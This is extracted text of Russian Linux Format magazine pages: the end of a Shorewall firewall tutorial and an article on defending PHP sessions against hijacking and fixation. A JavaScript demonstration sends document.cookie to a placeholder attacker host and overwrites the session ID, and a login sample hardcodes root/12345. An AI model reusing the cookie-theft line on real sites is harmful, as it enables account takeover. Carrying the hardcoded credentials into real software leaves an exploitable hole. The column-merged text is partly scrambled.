к одной-единственной фразе: клиенты из локальной се- положную схему нумерации, но о вкусах не спорят). В ко-
ти могут беспрепятственно обмениваться данными с Ин- лонке BROADCAST задается широковещательный адрес:
тернетом (всякие «аськи» можно «прикрыть» потом, в /etc/ в большинстве случаев система способна узнать его само-
shorewall/rules), весь остальной трафик запрещен, если не стоятельно, а Shorewall-perl и вовсе понимает здесь только
оговорено иное. Иными словами, для пары loc-net установ- два значения: detect и «-». Интерес представляют лишь оп-
лена политика ACCEPT, для всего остального – REJECT. ции – остановимся на них подробнее:
Соответствующий файл /etc/shorewall/policy может выгля- n dhcp – сообщает, что на интерфейсе выполняется DHCP-
деть так: клиент или сервер;

54
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
n tcpflags – предписывает проверять приходящие TCP- Из других опций следует упомянуть optional (простите
пакеты на предмет наличия нелегальных комбинаций за тавтологию), подавляющую ошибку компиляции в случае,
флагов; если интерфейс недоступен при запуске Shorewall (полезно
n routefilter,nosmurfs,logmartians – разные по свое- для PPP-соединений) и routeback, заставляющую весь тра-
му действию, но близкие по духу параметры, застав- фик, пришедший через интерфейс X, возвращаться к от-
ляющие Shorewall обращать внимание на пакеты, ко- правителю через него же (без этого практически не обой-
торых «точно не должно быть на этом интерфейсе». тись в ситуации, когда провайдеров несколько).
Так, пакеты с широковещательным адресом отпра- Наконец, чтобы все это заработало, нужно настроить
вителя отклоняются (nosmurfs), «марсиане» (пакеты маскрадинг. Для этого в файл /etc/shorewall/masq достаточ-
с некорректным исходным адресом) протоколируют- но добавить одну строку:
ся (logmartians). Сюда же можно отнести неисполь-
зованную в данном примере опцию norfc1918, запре- #INTERFACE SOURCE ADDRESS PROTO PORT(S) IPSEC MARK
eth0 eth1
щающую принимать пакеты с немаршрутизируемых
адресов вроде 192.168.0.0/16 (точный список берет- Это может выглядеть странновато, но на самом деле
ся из /etc/shorewall/rfc1918). Параметр routefilter пред- все просто. В колонке INTERFACE указывается исходящий
писывает включить в ядре фильтрацию по маршруту, интерфейс, в нашем случае это eth0 (он, напомню, подклю-
но пользоваться им следует с осторожностью: в схеме чен к Интернету). В поле SOURCE перечисляются адре-
с несколькими исходящими каналами возможны труд- са, для которых нужно применить SNAT-преобразование:
но диагностируемые неполадки. здесь, как и во многих реальных случаях, это просто eth1,
то есть вся локальная сеть скопом. При желании, имя ин-
Стоит отметить, что приведенная схема является воз- терфейса можно заменить явным указанием «серых» ад-
можной, но не самой оптимальной. Например, для net есть ресов (скажем, 192.168.0.0/24). Запретить SNAT для избран-
смысл указать norfc1918 (немаршрутизируемых адресов ных узлов сети можно при помощи следующего синтаксиса:
там не должно быть по определению), а logmartians уста- eth1:!192.168.0.1,192.168.0.3, кстати, он действует и во мно-
новить также и для loc (чтобы вовремя заметить в ней по- гих других конфигурационных файлах Shorewall.
дозрительную активность и подавить ее). В конечном ито- Колонка ADDRESS является необязательной и позво-
ге, все определяется уровнем безопасности и контроля, ко- ляет указать IP-адреса, которые будут использоваться при
торый вы хотите достичь. маскардинге в качестве исходящих (в подавляющем боль-

Реклама

№2, февраль 2009 55


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
шинстве случаев этого не требуется). Оставшиеся колон- Аналогичным образом, мы принимаем ICMP Echo-запро-
ки позволяют отобрать пакеты, подлежащие SNAT-преоб- сы, исходящие от локальных компьютеров на адрес марш-
разованию, более точно; как именно – мы обсудим в сле- рутизатора, но явным образом игнорируем «пинги», прихо-
дующем разделе. дящие из сети. Этого можно было бы и не делать (полити-
Напоследок отметим, что если в вашей системе имеет- ка по умолчанию выполняет ровно то же самое), но данное
ся более двух интерфейсов, число правил в /etc/shorewall/ правило не создает никаких записей в журнальных фай-
masq соответственно увеличивается (в общем случае в нем лах и соответственно препятствует их быстрому захламле-
должны быть перечислены все пары «локальный интер- нию. Как мы уже обсудили выше, о полезности подобного
фейс-внешний интерфейс»). подхода можно поспорить (в конце концов, внезапная вол-
на ping-запросов может свидетельствовать о готовящейся
Фильтрация трафика атаке), но здесь следует отметить для себя один факт: пра-
Конфигурация, описанная в прошлом разделе, уже являет- вила в /etc/shorewall/rules выполняются до действий, связан-
ся работоспособной, но не слишком полезной. Обогатим ее, ных с политиками. Последние две строки разрешают любой
внеся исключения из стандартных политик в /etc/shorewall/ ICMP-трафик между брандмауэром и компьютерами локаль-
rules. Вот каким видят этот файл авторы Shorewall (коммен- ной сети, а также между брандмауэром и Интернетом.
тарии по-прежнему опущены): Думается, после всего вышесказанного составить обе-
щанное правило для блокировки ICQ не составит труда:
#ACTION SOURCE DEST PROTO DEST SOURCE ↵
ORIGINAL RATE USER/ MARK
# PORT PORT(S) DEST ↵ #ACTION SOURCE DEST
LIMIT GROUP ICQ/LOG:info loc:!192.168.0.10 net
DNS/ACCEPT $FW net ICQ/REJECT loc:!192.168.0.10 net
SSH/ACCEPT loc $FW
Ping/ACCEPT loc $FW В результате любая попытка «выйти в аську» будет
Ping/DROP net $FW
протоколироваться и отклоняться с сообщением вроде
ACCEPT $FW loc icmp «Connection refused». Отметим, что это ограничение не ка-
ACCEPT $FW net icmp
сается клиента с адресом 192.168.0.10 (за что ему были да-
Разберемся в происходящем построчно. Во-первых, рованы такие привилегии – придумайте сами: автор вооб-
как вы помните, наша политика запрещает все соедине- ще не сторонник запретительно-технических мер борьбы
ния, кроме созданных между клиентом в локальной се- с неэффективностью работы офисных служащих).
ти и сервером в Интернете: ни связка «клиент-брандма- Записи в файле /etc/shorewall/rules (как, впрочем,
уэр», ни связка «брандмауэр-Интернет» сюда не попада- и во многих других в Shorewall, за исключением /etc/
ют. При этом на шлюзе с Shorewall, весьма вероятно, будут shorewall/tcrules) проверяются до первого совпадения – со-
запущены кэширующий DNS-сервер (dnsmasq или BIND) ставляя собственные правила, имейте это в виду. Сказан-
и SSH-сервер для удаленного администрирования. Без пра- ное не относится к действиям LOG и QUEUE – они не пре-
вил в первых двух строках они будут бесполезными: бранд- рывают обработку пакета.
мауэр не сможет связаться с DNS-сервером, отвечающим Итак, поздравляем: настройка Shorewall завершена.
за интересующую вас зону, а sshd не увидит входящее со- Чтобы изменения вступили в силу, необходимо набрать
единение. Альтернативный вариант (разрешить шлюзу вы- команду:
ход в Интернет, а локальной сети – произвольный доступ
к шлюзу) тоже возможен и в ряде случаев даже оправдан, # shorewall start
но менее безопасен.
В колонке ACTION (кроме двух последних записей) мы но грамотные люди рекомендуют сначала удостоверить-
видим пример использования макросов DNS, SSH и Ping. ся, что ваши настройки корректны. Это можно сделать ко-
Макрос – это просто набор заранее определенных правил, мандой:
принимающий окончательное действие (например, про-
пустить или отклонить пакет) в качестве дополнительно- # shorewall check
го параметра.
Макросы определяются в файлах macro.имя_макроса Она выполнит процесс компиляции, но не станет запус-
в каталоге /usr/share/shorewall. Вот так, например, выгля- кать сгенерированный скрипт; вы же сможете отловить все
дит макрос macro.DNS: ошибки и предупреждения.
Посмотреть, какие именно правила iptables были созда-
#ACTION SOURCE DEST PROTO ↵ ны Shorewall от вашего имени, можно командой:
DEST SOURCE RATE USER/
# PORT(S) ↵
PORT(S) LIMIT GROUP # shorewall show
PARAM - - udp 53
PARAM - - tcp 53
Разумеется, «iptables -L» тоже никто не отменял.
Как нетрудно видеть, это просто правила, отбирающие
TCP/UDP-трафик на порт 53. При развертывании макроса Дополнительные возможности
ключевое слово PARAM заменяется фактическим значени- Давайте посмотрим, что еще можно сделать с нашей кон-
ем параметра: для нашего случая это будет ACCEPT. фигурацией Shorewall. Первое, что приходит на ум, – про-

56
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
зрачный прокси-сервер: прием, о порочности которого бы- #ACTION SOURCE DEST PROTO DEST SOURCE ↵
ORIGINAL
ло сказано достаточно много, но тем не менее широко рас- # PORT PORT(S) ↵
пространенный. Неудивительно, что соответствующие на- DEST
DNAT- loc net:1.2.3.4 tcp 25 - ↵
стройки можно найти прямо в примерах на man-странице 192.168.0.1
shorewall-rules(5):
Мы осуществляем прозрачную передачу всех TCP-со-
#ACTION SOURCE DEST PROTO DEST SOURCE ORIGINAL единений на 192.168.0.1:25 серверу с адресом 1.2.3.4 (ис-
# PORT PORT(S) DEST
REDIRECT loc 3128 tcp www - !192.168.0.2 пользовать здесь доменные имена можно, хотя и настоя-
тельно не рекомендуется). Теперь можно сообщить вашим
Действие REDIRECT передает пакет локальному пользователям, что для исходящей почты нужно указать
(для шлюза) процессу, прослушивающему порт, указанный сервер 192.168.0.1 (особые эстеты могут завести для него
в колонке DEST (у нас это 3128 – стандартная настройка доменное имя – при наличии в сети DNS-сервера это зай-
Squid и большинства других HTTP-прокси). Правило удов- мет пару секунд) – и дело в шляпе.
летворяет TCP-соединениям, имеющим в качестве порта Конечно, такой прием имеет ряд ограничений. Во-пер-
назначения 80 (в примере использован псевдоним www, вых, он будет плохо работать в том случае, когда для защиты
заданный в /etc/services), кроме адресованных 192.168.0.2 соединения используются SSL-шифрование (получив сер-
(вероятно, внутреннему веб-серверу). тификат для неожиданного доменного имени, приличный
Рассмотренное выше перенаправление является час- почтовый клиент должен, как минимум, выдать серьезное
тным случаем DNAT-преобразования (в том смысле, что предупреждение), во-вторых, редактировать адрес интер-
REDIRECT можно рассматривать как DNAT на локаль- нет-сервера каждый раз при смене провайдера – дело му-
ный IP-адрес), которое можно применять с самыми разны- торное, неблагодарное и чреватое сбоями («человеческий
ми целями. Например, классический проброс портов (port фактор» рано или поздно даст о себе знать).
forwarding) интернет-соединений на все тот же внутрен- Здесь может пригодиться еще одна особенность
ний веб-сервер может быть организован следующим об- Shorewall – умение получать параметры извне и работать
разом: с переменными. Центральная роль здесь отводится фай-
лу /etc/shorewall/params: это сценарий на языке оболочки,
#ACTION SOURCE DEST PROTO DEST SOURCE ↵ который копируется в результирующий скрипт, генерируе-
ORIGINAL RATE
# PORT PORT(S) ↵ мый Shorewall в процессе компиляции. Он, например, мо-
DEST LIMIT жет иметь такой вид:
DNAT net loc:192.168.0.2 tcp http - ↵
- 3/sec:10
ROUTER_IP=192.168.0.1
SMTP=$(get_current_smtp)
Зона и адрес, на который должны быть переправлены
запросы, указывается в поле DEST. Если у шлюза несколь- Здесь подразумевается, что в вашей системе реали-
ко IP-адресов, а проброс портов нужно производить только зована команда get_current_smtp, возвращающая IP-ад-
для одного, укажите его в колонке ORIGINAL DEST. Нако- рес SMTP-сервера текущего провайдера. Тогда правило
нец, RATE LIMIT задает максимально допустимую нагрузку: для «виртуального сервера» можно переписать следую-
в среднем 3 запроса в секунду, но не более 10 пиково. щим образом:
Действие DNAT удобно тем, что создает сразу два пра-
вила iptables: одно непосредственно для преобразования #ACTION SOURCE DEST PROTO DEST SOURCE ORIGINAL
# PORT PORT(S) DEST
адресов, а другое – для приема трафика, удовлетворяю- DNAT- loc net:$SMTP tcp 25 - $ROUTER_IP
щего заданным критериям. В большинстве ситуаций это
именно то, что требуется. Если же вы по каким-либо при- Имена переменных рекомендуется начинать с боль-
чинам хотите добавить только DNAT и ничего больше, ис- шой буквы – так вы гарантированно избежите конфлик-
пользуйте действие DNAT-. та имен с внутренними переменными Shorewall. Теперь
DNAT-преобразование можно применить для создания при смене провайдера достаточно просто выполнить ко-
«виртуальных сервисов»: сетевых служб, которые, с точки манду shorewall restart.
зрения клиентов локальной сети, выполняются на шлюзе,
а на самом деле находятся где-то в другом месте. Возьмем, Вместо заключения
к примеру, электронную почту: если сеть сравнительно не- Shorewall позволяет создавать конфигурации практически
велика, то вполне вероятно, что в ней не будет собственно- любой сложности: с несколькими провайдерами (в том чис-
го SMTP-сервера: всю корреспонденцию будут просто от- ле разделяющими один сетевой интерфейс), мостами, шей-
правлять через сервер провайдера. Если эти самые про- пингом и учетом трафика, VPN... На худой конец, его мож-
вайдеры (а вместе с ними и SMTP-серверы) меняются до- но сравнительно легко модифицировать под свои нужды,
статочно часто (да, такое тоже бывает: в первые две не- а лицензия (GPLv2) позволяет даже распространять изме-
дели месяца связь обеспечивает компания A, по исчерпа- ненные копии. Искусство в том, чтобы понять, не забиваете
нию лимита – компания Б), перенастройка почтовых кли- ли вы микроскопом гвозди (и не идете ли с саблей на тан-
ентов на компьютерах пользователей превращается в го- ки), но выбор инструмента, оптимальным образом подхо-
ловную боль. дящего под конкретную задачу, – это тема совсем для дру-
Следующее правило избавит вас от нее: гой статьи. Или даже учебника.

№2, февраль 2009 57


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность

Безопасная работа
с сессиями в PHP

Антон Гришан
Создатели PHP считают, что забота о безопасности работы с сессиями лежит
на разработчике веб-приложения, а многие разработчики надеются на безопасность работы,
которую гарантирует стандартный механизм работы с сессиями. В итоге разработчики
не заботятся о безопасности сессий, а PHP не имеет защитных механизмов, поэтому многие
PHP-приложения уязвимы.

Атаки на приложение тель, знающий идентификатор сес- считать, что доступ к данным сессии
через систему управления сии, не всегда является владель- можно получить только из приложе-
сессиями цем данной сессии. Любые дан- ния и поэтому безопасно использовать
Существует две основные причины, ные, пришедшие от пользователя, данные, хранящиеся в сессии, однако
по которым возможны атаки на PHP- нуждаются в проверке, будь то ло- это далеко не так.
приложение через систему управле- гин и пароль или идентификатор
ния сессиями: сессии. Рассмотрим ниже возможные вари-
n Нет проверки идентификатора n Разработчики доверяют данным, анты атак на приложение через систе-
сессии пользователя. Пользова- хранящимся в сессии. Принято му управления сессиями.

58
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Кража сессии (Session Hijacking) Цель атаки – получение доступа чения не совпадают, то мы расцени-
Суть атаки заключается в использо- к значениям сессии с возможностью ваем это как попытку взлома и унич-
вании злоумышленником идентифи- чтения/записи. В случае успеха зло- тожаем сессию.
катора сессии, принадлежащего ле- умышленник может читать и/или фаль- Конечно, это приведет к тому, что
гальному пользователю, для выдачи сифицировать любое значение, храня- данные легального пользователя, хра-
себя за владельца сессии. щееся в сессии. нящиеся в сессии, также будут уничто-
Существует множество способов, Существуют два подвида отравле- жены (возможно, пользователю при-
с помощью которых можно узнать ния сессии: дется снова авторизоваться), но и до-
идентификатор чужой сессии, вот не- n атаке подвергается сессия, при- бытый злоумышленником идентифи-
которые из них: надлежащая легальному пользо- катор сессии будет более не актуа-
n перехват трафика легального поль- вателю, с целью получения персо- лен.
зователя; нальной информации, хранящейся Рассмотрим алгоритм построения
n ор гани з ац ия XSS (Cross Site в сессии; подписи браузера на базе значения
Scripting)-атаки; n злоумышленник модифицирует HTTP-заголовка User-Agent. Данное
n подобрать с помощью перебора. собственную сессию для выдачи поле содержит подробную информа-
себя за другого и/или повышения цию об агенте, пославшем HTTP-за-
Подмена сессии (Session Fixation) привилегий. прос, вот несколько примеров значе-
Для подмены сессии злоумышлен- ния данного поля для разных брау-
нику не нужен идентификатор чужой Методы противодействия зеров, установленных на моем ком-
сессии, достаточно установить иден- В PHP механизм управления сессия- пьютере:
тификатор своей сессии легальному ми предполагает, что только владелец n Firefox – Mozilla/5.0 (Windows;
пользователю, прошедшему автори- знает идентификатор сессии и для по- U; Windows NT 5.1; ru; rv:1.9.0.5)
зацию. Логика такого типа атаки про- лучения доступа к данным не требует Gecko/2008120122;
тивоположна по отношению к краже дополнительной авторизации. По ана- n Internet Explorer – Mozilla /4.0
сессии, но в обоих случаях создается логии можно представить ситуацию, (compatible; MSIE 6.0; Windows NT
ситуация, при которой злоумышленник при которой банк выдаёт деньги чело- 5.1; SV1; .NET CLR 2.0.50727; .NET
и легальный пользователь имеют один веку, знающему номер существующе- CLR 3.0.04506.30);
и тот же идентификатор сессии. го счета. Для безопасной работы с сес- n Google Chrome – Mozilla /5.0
сиями необходим дополнительный ме- (Windows; U; Windows NT 5.1; en-
Отравление сессии ханизм идентификации, не причиняю- US) AppleWebKit/525.19 (KHTML,
(Session Poisoning) щий неудобств легальным пользовате- like Gecko) Chrome/1.0.154.43
Опасность отравления сессии возни- лям и являющийся существенной пре- Safari/525.19.
кает, когда PHP-приложение совмест- градой для злоумышленников.
но с приложениями других пользова- Рассмотрим несколько приемов, Значение данного поля обладает
телей исполняется на одном сервере. позволяющих эффективно противо- следующими важными свойствами:
Угроза отравленной сессии возникает, стоять атакам на систему управления n неизменно для всех запросов поль-
если злоумышленник имеет возмож- сессиями. Для простоты изложения зователя – браузеру нет необходи-
ность установить свой PHP-сценарий в дальнейшем мы будем предполагать, мости его изменять, если только
на сервере, где исполняется атакуе- что идентификатор сессии хранится пользователь не сменил браузер
мое приложение. в переменной c именем PHPSESSID. или операционную систему;
Суть атаки – если PHP-приложения Данное имя переменной используется n разные пользователи имеют раз-
исполняются на одном сервере, то ве- PHP по умолчанию и может быть изме- ное значение параметра – так как
лика вероятность, что, зная идентифи- нено с помощью встроенной функции параметр, содержит информацию
катор сессии, злоумышленник сможет session_name() или путем изменения о типе и версии операционной сис-
работать с данными сессии, созданной директивы session.name в php.ini. темы, версии браузера и языке,
в атакуемом приложении. то, вероятно, для разных пользо-
Угроза отравления сессии сущест- Подпись браузера вателей эти значения будут отли-
вует, если злоумышленник может ис- Основная идея данного механизма за- чаться.
полнять PHP-скрипты на сервере, где щиты заключается в том, чтобы при-
исполняется атакуемое приложение, вязать идентификатор сессии к бра- Разумеется, значение поля User-
что возможно в двух случаях: узеру пользователя. Мы используем Agent не является абсолютно уникаль-
n приложение имеет ошибку, позво- заголовки HTTP-запроса для созда- ным, но тем не менее вполне подходит
ляющую исполнять PHP-код; ния подписи браузера. В момент стар- для построения подписи браузера.
n приложение работает на серве- та новой сессии данное значение вы- В PHP получить доступ к значению
ре вместе с приложениями других числяется и сохраняется в перемен- HTTP-заголовка User-Agent можно че-
пользователей хостинга, наиболее ной сессии. При повторном обращении рез элемент суперглобального масси-
актуально для небольших проек- мы снова вычисляем подпись браузе- ва $_SERVER['HTTP_USER_AGENT'].
тов, не имеющих выделенного сер- ра и сравниваем полученный резуль- Рассмотрим пример построения
вера. тат со значением из сессии. Если зна- подписи браузера.

№2, февраль 2009 59


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
<?php ским счетом – приемлемая плата за более высокий уро-
// Секретное значение, используется для построения вень безопасности.
// подписи браузера Частично решить проблему динамических IP-адресов
define('SESSION_BROWSER_SIGN_SECRET', '@w434253254s9');
в контексте построения подписи браузера можно следую-
/* щими способами:
* Функция для построения подписи браузера
* n позволить пользователю самостоятельно решить – при-
* @return string подпись браузера вязывать аккаунт к IP или нет;
*/
function getBrowserSign() { n использовать часть IP-адреса для построения подписи
/* Добавим секретное значение, чтобы по подписи пользователя.
* браузера злоумышленник не мог перебором найти
* необходимое значение HTTP-заголовка */
$rawSign = SESSION_BROWSER_SIGN_SECRET; Целесообразность использования IP-адреса для иденти-
/* Список элементов массива $_SERVER, значение фикации владельца сессии зависит от специфики разраба-
* которых необходимо использовать для вычисления тываемого приложения, но в большинстве случаев минусы
* построения подписи браузера */
$signParts = array('HTTP_USER_AGENT'); данного решения перевешивают возможную выгоду.
Данный механизм защиты является необходимым
foreach($signParts as $signPart) {
$rawSign.= '::'.(isset($_SERVER[$signPart]) ? ↵ для защиты от подмены и/или кражи сессии, но недоста-
$_SERVER[$signPart] : 'none'); точным для обеспечения высокого уровня безопаснос-
}
ти, потому что подпись браузера можно подделать путем
return(md5($rawSign)); отправки HTTP-заголовков, значения которых совпада-
}
?> ют со значениями заголовков, отправляемых легальным
пользователем.
При необходимости в массив $signParts можно доба-
вить и другие HTTP-заголовки, такие как HTTP_ACCEPT_ Настройка PHP на работу только с сессиями
CHARSET, HTTP_ACCEPT_ENCODING, HTTP_ACCEPT_ из cookies
LANGUAGE. PHP позволяет принимать от пользователя идентификатор
Воспользуемся функцией getBrowserSign() для защи- сессии двумя способами:
ты сессии: n через POST/GET-данные, идентификатор сессии пере-
дается в виде параметра запроса с именем PHPSESSID,
<?php например, так: www.mysite.tld/index.php?PHPSESSID=
// Ключ для хранения подписи браузера 1234567890;
define('SESSION_BROWSER_SIGN_KEYNAME', ↵ n через механизм cookie идентификатор сессии хранит-
'session.app.browser.sign');
ся в переменной с именем PHPSESSID.
// Защита сессии с помощью подписи браузера
session_start();
По умолчанию доступны оба варианта, а значит, зло-
// Вычислим подпись браузера для текущего пользователя умышленнику для подмены сессии достаточно заста-
$currentBrowserSign = getBrowserSign();
вить пользователя кликнуть по ссылке: www.mysite.tld/
if(isset($_SESSION[SESSION_BROWSER_SIGN_KEYNAME])) { index.php?PHPSESSID=< идентификатор сессии злоумыш-
// Сравниваем подпись пользователя со значением ленника>.
// из сессии В этом случае PHP присвоит пользователю идентифи-
if($currentBrowserSign != ↵
$_SESSION[SESSION_BROWSER_SIGN_KEYNAME]) { катор сессии злоумышленника. Кроме того, идентифика-
session_destroy(); тор сессий, входящий в состав URL, может быть опублико-
$_SESSION = array();
die('Попытка взлома!'); ван самим пользователем вместе со ссылкой на сайт (вы-
} сока вероятность кражи сессии).
} else { Для повышения уровня безопасности необходимо за-
/* Создана новая сессия. Сохраним подпись браузера претить принимать идентификатор сессии через GET/POST-
* для дальнейшей идентификации владельца сессии */
$_SESSION[SESSION_BROWSER_SIGN_KEYNAME] = ↵ данные и использовать только систему – cookie. Для дости-
$currentBrowserSign; жения этого эффекта исполним следующие команды:
}
?>
<?php
// Использовать только cookie для передачи
Для усиления защиты можно добавить IP-адрес поль- // идентификатора сессии
зователя в качестве одного из параметров подписи брау- @ini_set('session.use_trans_sid', false);
@ini_set('session.use_only_cookies', true);
зера, что существенно осложнит подделку подписи брау-
зера. К сожалению, данное решение имеет побочные эф- session_start();
?>
фекты. Значительная часть пользователей имеет разный
IP-адрес при каждом подключении к Интернету, а иногда Попытка изменить значение session.use_trans_sid в хо-
IP-адрес меняется несколько раз в течение одного сеан- де исполнения приложения может привести к появлению
са работы, поэтому защитный механизм будет часто ра- предупреждения вида:
ботать против легальных пользователей. С другой сторо- Warning: ini_set() [function.ini-set]: A session is active.
ны, просьба повторно ввести пароль при работе с банков- You cannot change the session module's ini settings at this time.

60
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Поэтому в приведенном выше примере для подавле- ние cookie по средствам защищенного соединения. Ес-
ния предупреждений использован символ @ перед опе- ли приложение работает с денежными потоками, то сто-
раторами ini_set. Если есть возможность, то лучше вмес- ит использовать защищенное соединение (SSL) для за-
то использования ini_set() прописать эти директивы напря- щиты идентификатора сессии от перехвата.
мую в php.ini: n Ограничить доступ к значению идентификатора сес-
сии только через HTTP. Для любого веб-приложения
session.use_trans_sid = 0 сложно представить ситуацию, при которой необходи-
session.use_only_cookies = 1
мо манипулировать значением идентификатора сес-
Использование системы cookie для передачи идентифи- сии на стороне пользователя, однако получить доступ
катора сессии затрудняет кражу или подмену сессии. К со- к переменной PHPSESSID можно с помощью JavaScript
жалению, сессии перестанут работать для пользователей, наравне с другими переменными cookie, чем регуляр-
отключивших cookie, однако этот факт не должен являть- но пользуются злоумышленники для похищения или
ся причиной отказа от хранения идентификатора сессии подмены сессии. Для повышения уровня безопаснос-
в cookie по следующим причинам: ти необходимо запретить доступ к значению перемен-
n у подавляющего большинства пользователей cookie ной PHPSESSID. Для этого нам необходимо переда-
включены; вать идентификатор сессии в cookie с пометкой HTTP-
n хранение идентификатора в URL имеет гораздо боль- only. Поэтому в качестве пятого аргумента функции
ше отрицательных последствий, чем использование session_set_cookie_params всегда необходимо указы-
cookie; вать значение true.
n если у пользователя отключены cookie, то в момент ав-
торизации можно показать сообщение об ошибке (на- Большинство браузеров умеют работать с HTTP-only
пример: «В браузере выключены cookie. Пожалуйста, cookie, однако имеют уязвимости, позволяющие получить
включите их.») с подробным описанием действий, необ- доступ к значению переменной по средствам JavaScript.
ходимых для включения cookie, наподобие того, как это Это явление носит временный характер, и с выходом новых
делает Gmail (почтовый сервис от Google). версий браузеров ошибки будут устранены. Тем не менее
использовать HTTP-only cookie для хранения идентифика-
Защита cookie, хранящей идентификатор сессии тора сессии определенно стоит уже сейчас.
Идентификатор сессии хранится на стороне пользовате- Рассмотрим на практическом примере, как session_set_
ля в cookie с именем PHPSESSID. Доступ к этому значе- cookie_params помогает защитить идентификатор сессии.
нию позволит злоумышленнику организовать атаку типа
«кража сессии» или «подмена сессии», поэтому защита <?php
session_start();
cookie – важный элемент обеспечения безопасности рабо- ?>
ты с сессиями. Для наcтройки параметров cookie в PHP пре-
<html>
дусмотрена функция session_set_cookie_params (см. http:// <head>
ru.php.net/manual/en/function.session-set-cookie-params.php), <title>Пример 1: Доступ к PHPSESSID с помощью ↵
JavaScript</title>
позволяющая: </head>
n Определить время жизни cookie. Чем меньше время <body>
<script>
существования cookie, тем меньше шансов, что ее зна- // PHPSESSID содержит идентификатор сессии
чение удастся похитить злоумышленнику. Необходимо alert(document.cookie);
выбрать минимально-допустимое время жизни. Важно // Осуществляем кражу сессии путем передачи значений
помнить, что время жизни cookie, хранящей идентифи- // cookie скрипту злоумышленника (атака кража «сессии»)
window.open("http://hacker.tld/evil.php?"+ ↵
катор сессии, и время жизни самой сессии – не одно document.cookie, 'new');
и то же.
// Кроме того, злоумышленник может
n Ограничить область видимости идентификатора // изменить идентификатор сессии
сессии. Значение идентификатора сессии должно быть // (атака «подмена сессии»)
document.cookie="PHPSESSID=hacked";
доступно только там, где оно действительно необходи-
мо, и нигде более. Для этого необходимо определить // Теперь идентификатор сессии
// пользователя модифицирован
домен и путь, в пределах которого будет доступно зна- alert(document.cookie);
чение cookie. </script>
</body>
n Определить метод установки cookie. Четвертый пара-
метр функции определяет, будет ли установлено значе- Приведенный выше пример демонстрирует, насколько

№2, февраль 2009 61


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
легко можно организовать атаку на «беззащитную» cookie. пример авторизации пользователя со сменой идентифи-
Воспользуемся функцией session_set_cookie_params катора сессии:
для защиты:
<?php
<?php session_start();
// Используем HTTP-only cookie для хранения
// идентификатора сессии // Проверим, создана новая сессия или нет
session_set_cookie_params(0, ‘/’, ‘’, false, true); if(!isset($_SESSION['createDate'])) {
session_start(); // Создана новая сессия, регенерируем
?> // идентификатор сессии
session_regenerate_id(true);
<html> $_SESSION['createDate'] = time();
<head> }
<title>Пример 2: Защита PHPSESSID с помощью ↵
http only</title> // Авторизация пользователя
</head> if($_REQUEST['login'] == 'root' && ↵
<body> $_REQUEST['password'] == '12345'){
<script> // Пользователь авторизован, необходимо изменить
// PHPSESSID не доступна здесь // идентификатор сессии
alert(document.cookie); session_regenerate_id(true);
$_SESSION['isAdmin'] = true;
// Украсть идентификатор сессии не удается echo 'Вы успешно прошли авторизацию';
window.open("http://hacker.tld/evil.php?"+ ↵
document.cookie, 'new'); } else {
$_SESSION['isAdmin'] = false;
// Не удается изменить идентификатор сессии echo 'Ошибка в имени или пароле!';
document.cookie="PHPSESSID=hacked"; }
?>
// Ничего сделать не удалось
alert(document.cookie);
</script> Может возникнуть желание регенерировать идентифи-
</body> катор сессии при каждом запросе, но этого не стоит делать
по следующим причинам:
Во втором варианте – cookie, содержащая идентифика- n если авторизованный пользователь откроет страницу
тор сессии, передана с параметром HTTP-only, поэтому бра- сайта в нескольких окнах браузера (вкладках), то иден-
узер не позволит получить доступ к значению PHPSESSID тификатор сессии будет корректным только в первом
через JavaScript. открытом окне;
Правильное хранение идентификатора сессии сущест- n если пользователь осуществит переход на предыдущую
венно осложняет кражу или подмену сессии на начальном страницу с помощью кнопки браузера «Назад», то это
этапе, когда злоумышленник пытается узнать или изменить приведет к разрушению текущей сессии.
идентификатор сессии легального пользователя.
Данная защита эффективна против атаки типа «подме-
Регенерация идентификатора сессии на сессии» и косвенно осложняет атаку «кража сессии».
